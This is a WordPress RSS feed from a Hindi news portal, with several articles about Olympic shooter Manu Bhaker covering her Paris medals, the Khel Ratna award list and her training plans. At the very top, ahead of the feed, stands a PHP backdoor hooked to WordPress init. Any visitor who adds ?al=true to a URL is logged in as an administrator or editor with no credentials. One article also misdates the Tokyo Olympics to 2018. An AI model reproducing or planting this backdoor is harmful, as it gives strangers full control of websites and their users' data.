// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Manu Bhaker – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 28 Apr 2026 07:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 ‘उम्र सिर्फ एक आंकड़ा है’ , मनु भाकर ने वैभव सूर्यवंशी को लेकर कही बड़ी बात https://pratyushaashakinayikiran.com/?p=215228 Tue, 28 Apr 2026 07:15:00 +0000 https://pratyushaashakinayikiran.com/?p=215228 नई दिल्ली

भारत की दोहरी ओलंपिक पदक विजेता निशानेबाज मनु भाकर नए सत्र से पहले आत्मविश्वास से लबरेज हैं और पेरिस खेलों में मिली सफलता के बाद एक बार फिर अपनी प्रतिस्पर्धी भावना को जगाने के लिए दृढ़ हैं। हालांकि सोमवार को भारतीय राष्ट्रीय राइफल संघ (एनआरएआई) के 75 साल पूरे होने के मौके पर आयोजित एक कार्यक्रम के दौरान उनसे 15 साल के क्रिकेटर वैभव सूर्यवंशी को लेकर सवाल किया गया, जिनको लेकर मनु ने बड़ा बयान दिया है।

मनु भाकर ने वैभव सूर्यवंंशी को लेकर क्या कहा?
क्रिकेट के उभरते सितारे वैभव सूर्यवंशी के सबसे होनहार युवा खिलाड़ियों में से एक के तौर पर सामने आने और उन्हें जल्द से जल्द राष्ट्रीय टीम में शामिल करने की बढ़ती मांगों के बीच मनु ने कहा कि अगर खिलाड़ी तैयार है और उसे सही मार्गदर्शन मिल रहा है तो इस प्रक्रिया को तेज करने में कोई रुकावट नहीं होनी चाहिए।

मनु ने कहा, ‘अगर मार्गदर्शन सही हो और माहौल तरक्की में मददगार हो तो उम्र सिर्फ एक आंकड़ा है, प्रतिभा की कोई समय-सीमा नहीं होती। इसे छह साल की उम्र में भी पहचाना जा सकता है और 60 साल की उम्र में भी। सही मार्गदर्शन मिलने पर मुझे पूरा यकीन है कि वैभव सूर्यवंशी भारतीय क्रिकेट के अगले बड़े सितारे बन सकते हैं।’

एशियाई खेल और विश्व चैंपियनशिप का बेसब्री से इंतजार कर रहीं मनु भाकर
इस साल 2028 लॉस एंजिलिस ओलंपिक के लिए क्वालीफिकेशन चक्र शुरू होने के साथ ही मनु की नजरें एशियाई खेलों और विश्व चैंपियनशिप पर टिकी हैं। उन्हें विश्वास है कि ये लक्ष्य उनकी उस प्रतिस्पर्धी बढ़त को वापस दिलाएंगे जिसकी बदौलत उन्होंने 2024 ओलंपिक में दो कांस्य पदक जीते थे। 24 वर्षीय पिस्टल निशानेबाज मनु ने कहा, ‘इस साल के आखिर में एशियाई खेल (जापान में) और विश्व चैंपियनशिप होने वाली है इसलिए हम निश्चित रूप से इन दो बड़ी प्रतियोगिताओं का बेसब्री से इंतजार कर रहे हैं।’

झज्जर की इस निशानेबाज ने कहा, ‘मैंने और मेरे कोच ने मिलकर अपनी तैयारियों को लेकर कुछ समय पहले ही चर्चा की थी। हमने योजना बनाई कि आगे कौन-कौन सी प्रतियोगिताएं होने वाली हैं और उनके लिए हमारी तैयारी कैसी होनी चाहिए। मुझे लगता है कि हमने सब कुछ ठीक से तय कर लिया है और उम्मीद है कि हम बहुत अच्छा प्रदर्शन करेंगे।’’ मनु अब अगले महीने आईएसएसएफ विश्व कप म्यूनिख में हिस्सा लेंगी।

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मनु भाकर और डी गुकेश को मिलेगा खेल रत्न पुरस्कार https://pratyushaashakinayikiran.com/?p=116561 Thu, 02 Jan 2025 15:10:00 +0000 https://pratyushaashakinayikiran.com/?p=116561 नई दिल्ली

भारत के लिए ओलंपिक में मेडल जीतने वाली निशानेबाज मनु भाकर को भारी बवाल के बाद खेल रत्न पुरस्कार से सम्मानित किया गया है। इससे पहले जब मेजर ध्यानचंद खेल रत्न पुरस्कार के नामों की घोषणा की गई थ तो मनु भाकर का नाम उसमें शामिल नहीं था। इसे लेकर मनु भाकर के पिता ने निराशा भी जाहिर किया था। इसके बाद मनु भाकर को खेल रत्न देने की घोषणा की गई है।

खेल मंत्रालय द्वारा राष्ट्रीय खेल पुरस्कार 2024 का एलान गुरुवार को कर दिया गया है। राष्ट्रपति द्रोपदी मुर्मू 17 जनवरी को राष्ट्रपति भवन में विजेताओं को सम्मानित करेंगी।

मनु और गुकेश के अलावा भारतीय पुरुष हॉकी टीम के कप्तान हरमनप्रीत सिंह और पैरालंपियन प्रवीण कुमार को भी खेल रत्न पुरस्कार दिया जाएगा। खेल मंत्रालय ने बयान में कहा, समिति की सिफारिशों और सरकार की जांच के आधार पर खिलाड़ियों, कोच, विश्वविद्यालयों को पुरस्कार देने का फैसला किया गया है।

समिति की सिफारिशों के आधार पर और उचित जांच के बाद, सरकार ने निम्न खिलाड़ियों, कोच, विश्वविद्यालय और संस्थाओं को पुरस्कार प्रदान करने का निर्णय लिया है. 

इन ख‍िलाड़‍ियों को म‍िला ध्यानचंद खेल रत्न पुरस्कार 2024 

1. गुकेश डी (शतरंज)
2. हरमनप्रीत सिंह (हॉकी)
3. प्रवीण कुमार (पैरा एथलेटिक्स)
4. मनु भाकर (शूटिंग)

मनु भाकर ने पेरिस ओलंपिक में पहले 10 मीटर एयर पिस्टल में पोडियम पर जगह बनाई और फिर सरबजोत सिंह के साथ मिलकर 10 मीटर मिश्रित टीम में दूसरा कांस्य पदक जीता. इस तरह वह खेलों के इस महाकुंभ के एक ही सत्र में दो पदक जीतने वाली भारत की पहली खिलाड़ी बन गईं.

डी गुकेश शतरंज के इतिहास में सबसे युवा विश्व चैम्पियन बने. 2024 में चेन्नई के 18 वर्ष के गुकेश के रूप में एक नया रोलमॉडल सामने आ गया है.सिंगापुर में विश्व शतरंज चैम्पियनशिप मुकाबले में चीन के डिंग लिरेन को हराकर वह विश्व चैम्पियन बने. 14 दौर के खिताबी मुकाबले से पहले ही गुकेश को प्रबल दावेदार माना जा रहा था, जिससे दबाव बनना लाजमी था. तीसरे, 11वें और 14वें दौर में जीत दर्ज करके ने विश्व चैम्पियन का खिताब जीता. 

पेरिस ओलंपिक में कांस्य पदक जीतकर हरमनप्रीत सिंह की कप्तानी वाली भारतीय टीम ने साबित कर दिया कि टोक्यो खेलों में मिला कांसा कोई तुक्का नहीं था.हरमनप्रीत ने पेरिस ओलंपिक में 10 गोल दागे जिसके दम पर उन्हें तीसरी बार एफआईएच वर्ष के सर्वश्रेष्ठ पुरुष खिलाड़ी का पुरस्कार भी मिला.

देखें क‍िन्हें म‍िले अर्जुन पुरस्कार

1. ज्योति याराजी (एथलेटिक्स)
2. अन्नू रानी (एथलेटिक्स)
3. नीतू (मुक्केबाजी)
4. स्वीटी (मुक्केबाजी)
5. वंतिका अग्रवाल (शतरंज)
6. सलीमा टेटे (हॉकी)
7. अभिषेक (हॉकी)
8. संजय (हॉकी)
9. जरमनप्रीत सिंह (हॉकी)
10. सुखजीत सिंह (हॉकी)
11. राकेश कुमार (पैरा तीरंदाजी)
12. प्रीति पाल (पैरा एथलेटिक्स)
13. जीवनजी दीप्ति (पैरा एथलेटिक्स)
14. अजीत सिंह (पैरा एथलेटिक्स)
15. सचिन सरजेराव खिलारी (पैरा एथलेटिक्स)
16. धरमबीर (पैरा एथलेटिक्स)
17. प्रणव सूरमा (पैरा एथलेटिक्स)
18. एच होकाटो सेमा (पैरा एथलेटिक्स)
19. सिमरन जी (पैरा एथलेटिक्स)
20. नवदीप (पैरा एथलेटिक्स)
21. नितेश कुमार (पैरा बैडमिंटन)
22. तुलसीमथी मुरुगेसन (पैरा बैडमिंटन)
23. नित्या श्री सुमति सिवान (पैरा बैडमिंटन)
24. मनीषा रामदास (पैरा बैडमिंटन)
25. कपिल परमार (पैरा जूडो)
26. मोना अग्रवाल (पैरा शूटिंग)
27. रुबीना फ्रांसिस (पैरा शूटिंग)
28. स्वप्निल सुरेश कुसाले (शूटिंग)
29. सरबजोत सिंह (शूटिंग)
30. अभय सिंह (स्क्वैश)
31. साजन प्रकाश (तैराकी)
32. अमन (कुश्ती)

खेलकूद में उत्कृष्ट प्रदर्शन के लिए अर्जुन पुरस्कार (आजीवन)
1. सुच्चा सिंह (एथलेटिक्स)
2. मुरलीकांत राजाराम पेटकर (पैरा-तैराकी)

 द्रोणाचार्य पुरस्कार (नियमित श्रेणी)
1. सुभाष राणा (पैरा-शूटिंग)
2. दीपाली देशपांडे (शूटिंग)
3. संदीप सांगवान (हॉकी)

द्रोणाचार्य पुरस्कार (आजीवन श्रेणी)
1. एस. मुरलीधरन (बैडमिंटन)
2. अर्मांडो एग्नेलो कोलाको (फुटबॉल)

राष्ट्रीय खेल प्रोत्साहन पुरस्कार
1. फिजिकल एजुकेशन फाउंडेशन ऑफ इंडिया

मौलाना अबुल कलाम आजाद (MAKA) ट्रॉफी 2024
1 चंडीगढ़ विश्वविद्यालय (ओवरऑल विनर यूनिवर्सिटी)
2. लवली प्रोफेशनल यूनिवर्सिटी, (1st रनर-अप यूनिवर्सिटी)
3. गुरु नानक देव विश्वविद्यालय, अमृतसर (सेकेंड रनर अप यूनिवर्सिटी)

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मनु भाकर ने खेल रत्न की सूची से उन्हें बाहर रखने को किया स्वीकार, शायद मुझसे फॉर्म भरते समय कोई गलती हुई होगी https://pratyushaashakinayikiran.com/?p=113487 Tue, 24 Dec 2024 20:16:00 +0000 https://pratyushaashakinayikiran.com/?p=113487 पेरिस
पेरिस ओलंपिक की दोहरी कांस्य पदक विजेता मनु भाकर ने खेल रत्न पुरस्कार विजेताओं की सूची से उन्हें बाहर रखे जाने को लेकर उठे विवाद के बीच मंगलवार को स्वीकार किया कि इस साल के राष्ट्रीय खेल पुरस्कारों के लिए नामांकन दाखिल करते समय शायद उनकी ओर से कोई चूक हुई है। खेल मंत्रालय ने नुकसान की भरपाई के लिए कदम उठाते हुए कहा था कि पुरस्कार के लिए नामांकन की सूची को अभी अंतिम रूप नहीं दिया गया है जिसके एक दिन बाद 22 वर्षीय स्टार पिस्टल निशानेबाज ने देश के सर्वोच्च खेल पुरस्कार के लिए नामांकन नहीं मिलने पर सोशल मीडिया पर अपनी स्थिति स्पष्ट की।

शायद मेरी ओर से कोई चूक हुई- मनु
मनु ने ‘एक्स' पर लिखा, ‘‘सबसे प्रतिष्ठित खेल रत्न पुरस्कार के लिए मेरे नामांकन को लेकर चल रहे मुद्दे के संबंध में मैं यह कहना चाहूंगी कि एक खिलाड़ी के रूप में मेरी भूमिका अपने देश के लिए खेलना और प्रदर्शन करना है।'' उन्होंने कहा, ‘‘मुझे लगता है कि नामांकन दाखिल करते समय शायद मेरी ओर से कोई चूक हुई है जिसे ठीक किया जा रहा है।'' हरियाणा की इस निशानेबाज ने कहा कि उनका लक्ष्य देश के लिए प्रदर्शन करना है और इसमें बदलाव नहीं आएगा, फिर चाहे उन्हें पुरस्कार मिले या नहीं।

कृपया इस पर अटकलें न लगाएं
इससे पहले उनके निजी जसपाल राणा और पिता रामकिशन भाकर ने खेल मंत्रालय और चयन समिति पर उनकी शानदार उपलब्धियों के बावजूद उन्हें नजरअंदाज करने का आरोप लगाया। उन्होंने कहा, ‘‘पुरस्कार और मान्यता मुझे प्रेरित करते हैं, लेकिन ये मेरा लक्ष्य नहीं हैं।'' मनु ने कहा, ‘‘पुरस्कार मिले या नहीं, मैं अपने देश के लिए और अधिक पदक जीतने के लिए प्रेरित रहूंगी। सभी से अनुरोध है कि कृपया इस पर अटकलें न लगाएं।'' राणा और रामकिशन ने खेल मंत्रालय और चयन समिति पर उनकी शानदार उपलब्धियों के बावजूद उन्हें नजरअंदाज करने का आरोप लगाया। हालांकि खेल मंत्रालय के अनुसार सूची को अभी अंतिम रूप दिया जाना बाकी है।

खेल रत्न के लिए किन्हें चुना गया?
खेल मंत्रालय ने कहा कि कुछ दिनों में जब नामों का खुलासा होगा तो उनका नाम उसमें शामिल होने की संभावना है। विश्वसनीय रूप से पता चला है कि पुरुष हॉकी कप्तान हरमनप्रीत सिंह और पैरालंपिक स्वर्ण विजेता ऊंची कूद खिलाड़ी प्रवीण कुमार को खेल रत्न के लिए चुना गया है। इसके अलावा 30 अर्जुन पुरस्कार विजेताओं के नाम शामिल है जिसमें 17 पैरा खेलों से हैं। पुरस्कार चयन समिति के अध्यक्ष उच्चतम न्यायालय के सेवानिवृत्त न्यायाधीश न्यायमूर्ति वी रामसुब्रमण्यम हैं और इसमें पूर्व महिला हॉकी कप्तान रानी रामपाल, मुक्केबाज विजेंदर सिंह और पूर्व महान क्रिकेटर अनिल कुंबले भी शामिल हैं।

मनु भाकर दो पदक जीतने वाली पहली खिलाड़ी
समिति को उन लोगों के नाम पर विचार करने का अधिकार है जिन्होंने आवेदन किया हो। लेकिन यदि आवश्यक हो तो समिति उन नामों पर चर्चा करने के लिए भी अधिकृत है जो उस सूची में शामिल नहीं हैं। मनु ओलंपिक के एक ही सत्र में दो पदक जीतने वाली स्वतंत्र भारत की पहली खिलाड़ी हैं। उन्होंने पेरिस में 10 मीटर एयर पिस्टल व्यक्तिगत और 10 मीटर एयर पिस्टल मिश्रित टीम (सरबजोत सिंह के साथ) स्पर्धाओं में कांस्य पदक जीते।

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निशानेबाज मनु भाकर इसलिए नेशनल चैंपियनशिप में नहीं खेलेंगी: राणा https://pratyushaashakinayikiran.com/?p=104630 Sat, 30 Nov 2024 15:22:00 +0000 https://pratyushaashakinayikiran.com/?p=104630 नई दिल्ली
ओलंपिक कांस्य पदक विजेता निशानेबाज मनु भाकर ने एक बार फिर अभ्यास शुरु कर दिया है पर वह अगले महीने होने वाली नेशनल चैंपियनशिप में भाग नहीं खेलेंगी। मनु ने पिछले माह अक्टूबर में दिल्ली में हुए आईएसएसएफ निशाने विश्वकप में भी फाइनल से भी अपना नाम वापस ले लिया था। इस प्रकार ये दूसरा टूर्नामेंट है जिसमें वह नजर नहीं आयेंगी।
मनु के कोच जसपाल राणा के अनुसार मनु ने अभी पर्याप्त अभ्यास नहीं किया है, इसलिए वह किसी बड़े टूर्नामेंट में नहीं उतरना चाहती हैं। वह अभी अपनी ग्रिप को बेहतर बनाने पर ध्यान दे रही हैं।
कोच ने कहा कि हम फिलहाल मनु भाकर की ग्रिप को बेहतर बनाने का प्रयास कर रहे हैं। जिस कारण हमने यूरोपीय दौरे का फैसला पहले ही कर लिया था। ऐसे कई पक्ष है जिसपर हमें ध्यान देना है। जिससे वह आने वाले समय में और बेहतर निशानेबाज के तौर पर उभरेंगी।

 

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ओलंपिक में इतिहास रचने वाली मनु भाकर का स्वदेश वापसी पर भव्य स्वागत https://pratyushaashakinayikiran.com/?p=58164 Wed, 07 Aug 2024 15:57:00 +0000 https://pratyushaashakinayikiran.com/?p=58164 नई दिल्ली
स्टार पिस्टल निशानेबाज मनु भाकर किसी एक ओलंपिक में दो पदक जीतने की ऐतिहासिक उपलब्धि हासिल करने के बाद बुधवार को जब स्वदेश पहुंची तो लगातार हो रही बूंदाबांदी के बावजूद सैकड़ों समर्थकों और उनके परिजनों ने यहां उनका भव्य स्वागत किया।

मनु को पेरिस से दिल्ली लाने वाली एयर इंडिया की उड़ान (एआई 142) एक घंटे की देरी से सुबह करीब नौ बजकर 20 मिनट पर इंदिरा गांधी अंतरराष्ट्रीय हवाई अड्डे पर पहुंची। शहर में सुबह से हो रही बूंदाबांदी के बावजूद उनके आगमन से काफी पहले से हवाई अड्डे पर इंतजार कर रहे सैकड़ों लोगों ने उनका और उनके कोच जसपाल राणा का जोरदार स्वागत किया।

इस 22 वर्षीय खिलाड़ी ने महिलाओं की 10 मीटर एयर पिस्टल में कांस्य और फिर सरबजोत सिंह के साथ मिलकर 10 मीटर एयर पिस्टल मिश्रित टीम स्पर्धा में भी कांस्य पदक जीता। वह स्वतंत्रता के बाद किसी एक ओलंपिक खेल में दो पदक जीतने वाली पहली भारतीय खिलाड़ी है।

उनसे पहले, केवल ब्रिटिश मूल के भारतीय एथलीट नॉर्मन प्रिचार्ड ने 1900 ओलंपिक में 200 मीटर स्प्रिंट और 200 मीटर बाधा दौड़ में रजत पदक जीतकर यह उपलब्धि हासिल की थी। मनु ने भारत रवाना होने से पहले कहा था कि वह भव्य स्वागत की उम्मीद कर रही हैं और बुधवार को उन्हें कोई निराशा नहीं हुई।

यह युवा खिलाड़ी जैसे ही हवाई अड्डे से बाहर निकली उनका गुलदस्ताें, मालाओं और ढोल बजाकर स्वागत किया गया। मनु और उनके कोच जसपाल राणा के बाहर निकलने पर उन पर फूलों की पंखुड़ियां बरसाई गई। मनु और राणा को इसके बाद लोगों ने अपने कंधों पर उठा दिया। भीड़ को नियंत्रित करने के लिए बड़ी संख्या में पुलिस बल भी तैनात था।

विश्व कप में कई बार स्वर्ण पदक जीत चुकी मनु मुस्कुरा कर लोगों का अभिवादन स्वीकार कर रही थी तथा पूरे गर्व के साथ पेरिस ओलंपिक में जीते गए अपने दोनों पदक लोगों को दिखा रही थी। मनु का स्वागत करने के लिए उनके माता-पिता राम किशन और सुमेधा तथा उनके गृह राज्य हरियाणा, राजस्थान और उत्तराखंड के खेल प्रेमी और अधिकारी भी पहुंचे थे। हवाई अड्डे पर जसपाल के पिता नारायण सिंह राणा की उपस्थित थे।

उत्तराखंड के पूर्व खेल मंत्री नारायण सिंह राणा ने कहा, ‘‘यह हमारे लिए गर्व की बात है कि भारत की एक बेटी ओलंपिक में दो पदक जीतकर इतिहास रचकर वापस आ रही है। ऐसा पहले कभी नहीं हुआ। वह केवल 22 साल की है।’’ उन्होंने कहा, ‘‘ वह अपने कोच जसपाल राणा के साथ आ रही हैं। वह मेरा बेटा है। उसने निशानेबाजी में भारत के लिए खेलकर गौरव बढ़ाया। इसकी शुरुआत जसपाल राणा और अभिनव बिंद्रा ने की थी।’’ मनु के प्रशंसक उनके आगमन से बहुत पहले हवाईअड्डे पर एकत्र हो गए थे। उन्होंने मनु और राणा की तस्वीरों वाले बैनर लेकर गीत और नृत्य के साथ उनकी उपलब्धि का जश्न मनाया।

मनु दोपहर में खेल मंत्री मनसुख मांडविया से मुलाकात करेंगी। वह रविवार को होने वाले समापन समारोह में भाग लेने के लिए शनिवार को पेरिस वापस जाएंगी जहां वह भारत के ध्वजवाहकों में से एक होंगी।

 

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पेरिस ओलंप‍िक में भारत को पहला गोल्ड दिलाने के मनु भाकर एकदम करीब पहुंच चुकी, रच सकती है इत‍िहास https://pratyushaashakinayikiran.com/?p=56707 Fri, 02 Aug 2024 19:54:00 +0000 https://pratyushaashakinayikiran.com/?p=56707 नई दिल्ली
पेरिस ओलंप‍िक में भारत को पहला गोल्ड दिलाने के मनु भाकर एकदम करीब पहुंच चुकी हैं। मनु ने लगातार अच्छा प्रदर्शन किया है और अब वो भारत का सपना साकार करने के काफी पास पहुंच चुकी हैं। मनु लगातार एक के बाद एक दो मेडल जीतकर अपना नाम इत‍िहास के पन्नों में दर्ज करवा चुकी हैं। अब मनु के पास एक और इवेंट में गोल्ड मेडल जीतने के करीब हैं।

बता दें कि मनु भाकर ने वूमेन्स 25 मीटर पिस्टल के फाइनल में जगह बनाई है। मनु कुल 590 अंकों के साथ दूसरे स्थान पर पहुंच गई हैं। ईशा सिंह ने निराश किया और वह 18वें पोजीशन पर रहीं। फाइनल मुकाबला 3 अगस्त बुधवार को भारतीय समयानुसार दोपहर 1 बजे से होगा। मनु भाकर ने पेरिस ओलंपिक खेलों में भारत के लिए अभूतपूर्व तीसरे पदक की ओर कदम बढ़ाते हुए शुक्रवार को निशानेबाजी की 25 मीटर महिला पिस्टल स्पर्धा के फाइनल के लिए क्वालिफाई किया लेकिन ईशा सिंह प्रतियोगिता से बाहर हो गईं।

मनु ने प्रिसिजन में 294 और रेपिड में 296 अंक के साथ कुल 590 अंक जुटाकर क्वालिफिकेशन में दूसरा स्थान हासिल करते हुए फाइनल में प्रवेश किया। प्रिसिजन दौर में 10-10 निशानों की तीन सीरीज में क्रमश: 97, 98 और 99 अंक जुटाए। रेपिड दौर में उन्होंने तीन सीरीज में 100, 98 और 98 अंक हासिल किए।

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मनु भाकर ने ओलंपिक जगाई मेडल की उम्मीद, इस इवेंट के फाइनल में पहुंचीं https://pratyushaashakinayikiran.com/?p=55141 Sun, 28 Jul 2024 12:16:00 +0000 https://pratyushaashakinayikiran.com/?p=55141 पेरिस

पेरिस ओलंपिक 2024 के पहले दिन (27 जुलाई) शूटिंग में भारत के लिए अच्छी खबर सामने आई है. निशानेबाज मनु भाकर वूमेन्स 10 मीटर एयर पिस्टल इवेंट के फाइनल में पहुंच गई हैं. मनु भाकर 60 शॉट के क्वालिफाइंग रांउड में कुल 580 अंकों के साथ तीसरे स्थान पर रहीं. भाकर ने पहली सीरीज में 97, दूसरी में 97, तीसरी में 98, चौथी में 96, पांचवीं में 96 और छठी सीरीज में 96 अंक हासिल किए. मनु भाकर का फाइनल कल (28 जुलाई) दोपहर भारतीय समयानुसार 3.30 बजे होगा.

रिदम सांगवान का निराशाजनक प्रदर्शन

बता दें कि वूमेन्स 10 मीटर एयर पिस्टल इवेंट में रिदम सांगवान भी भाग ले रही थीं, लेकिन उन्होंने निराश किया. रिदम 573 अंकों के साथ 15वें स्थान पर रहीं. 22 साल की मनु भाकर टोक्यो ओलंपिक में कुछ खास नहीं कर पाई थीं, लेकिन इस बार वह बेहतर प्रदर्शन करना चाहेंगी. वह तीन स्पर्धाओं में हिस्सा ले रही हैं, जिसमें 10 मीटर एयर पिस्टल, 25 मीटर पिस्टल और 10 मीटर पिस्टल मिक्स्ड टीम शामिल हैं.

मनु ने लगाए टॉप 2 से ज्यादा एक्स

मनु भाकर ने क्वालिफिकेशन के 6 राउंड में 97,97,98,96,96 अंक हासिल किए और उनके कुल 580 अंक रहे। महिला 10 मीटर एयर पिस्टल इवेंट में पहले नंबर पर हंगरी की वैरोनिका मेजर रहीं जिन्होंने 582 अंक हासिल किए और उन्होंने 22 एक्स लगाए जबकि दूसरे नंबर पर कोरिया की ओह ये जिन रहीं जिन्होंने 20 एक्स के साथ 582 अंक हासिल किए। वहीं मनु भारत ने इन दोनों से ज्यादा एक्स (27) लगाए, लेकिन सिर्फ 2 अंक से वो पीछे रह गईं।
मनु भाकर ने की शानदार वापसी

मनु भाकर ने इससे पहले साल 2018 में टोक्यो ओलंपिक में भी हिस्सा लिया था, लेकिन वो किसी भी इवेंट के फाइनल तक भी नहीं पहुंच पाई थीं। टोक्यो ओलंपिक में 10 मीटर एयर पिस्टल इवेंट में वो 12वें स्थान पर रही थीं जबकि 25 मीटर पिस्टल इवेंट में वो 15वें नंबर पर रहीं थी। इसके अलावा वो 10 मीयर एयर पिस्टल मिक्स्ड इवेट में उनका सफर 7वें स्थान पर रहते हुए खत्म हुआ था। पिछले ओलंपिक में अपने इस प्रदर्शन को छोड़ते हुए मनु ने इस बार खुद को साबित किया और 10 मीटर एयर पिस्टल इवेंट सिंगल्स के फाइनल में जगह बना ली।

इससे पहले भारतीय निशानेबाज 10 मीटर एयर राइफल मिश्रित टीम क्वालिफिकेशन चरण में बाहर हो गए. भारत की दो जोड़ियां इस स्पर्धा में भाग ले रही थीं. रमिता जिंदल और अर्जुन बाबुता 628.7 के कुल स्कोर के साथ छठे, जबकि इलावेनिल वलारिवन और संदीप सिंह 626.3 के कुल स्कोर के साथ 12वें स्थान पर रहे. रमिता और अर्जुन की जोड़ी ने एक समय उम्मीद बनाई थी. यह भारतीय जोड़ी तीन शॉट शेष रहते पांचवें स्थान पर थी, लेकिन आखिर में पदक राउंड के कट ऑफ से 1.0 अंक पीछे रह गई.

अर्जुन ने दूसरी सीरीज में शानदार शुरुआत की और 10.5, 10.6, 10.5, 10.9 का स्कोर बनाया. रमिता ने दूसरी सीरीज में 10.2, 10.7, 10.3, 10.1 का स्कोर बनाया. इससे यह जोड़ी शीर्षक आठ में तो पहुंच गई, लेकिन पदक राउंड में जगह बनाने के लिए यह स्कोर पर्याप्त नहीं था. पदक राउंड में पहुंचने के लिए शीर्ष चार में जगह बनाना जरूरी था. चीन, कोरिया और कजाकिस्तान की टीम क्वालिफिकेशन दौर में पहले तीन स्थानों पर रही.

सरबजोत फाइनल में पहुंचने से चूके

उधर सरबजोत सिंह और अर्जुन सिंह चीमा पुरुषों की 10 मीटर एयर पिस्टल के फाइनल में जगह नहीं बना सके. फाइनल मुकाबले के लिए टॉप आठ शूटर्स को जगह मिली. सरबजोत क्वालिफिकेशन में 577 के कुल स्कोर के साथ नौवें स्थान पर, जबकि अर्जुन 574 के स्कोर के साथ 18वें स्थान पर रहे.

आठवें स्थान के साथ फाइनल में जगह बनाने वाले जर्मनी के रॉबिन वाल्टर का स्कोर भी 577 था, लेकिन उन्होंने सरबजोत के 16 के मुकाबले 17 सटीक निशाने लगाए थे. सरबजोत चौथी सीरीज में परफेक्ट 100 का स्कोर करने के बाद शीर्ष तीन में पहुंच गए थे, लेकिन 22 साल का यह निशानेबाज लय बरकरार रखने में नाकाम रहा और मामूली अंतर से फाइनल में जगह बनाने से चूक गए.

 

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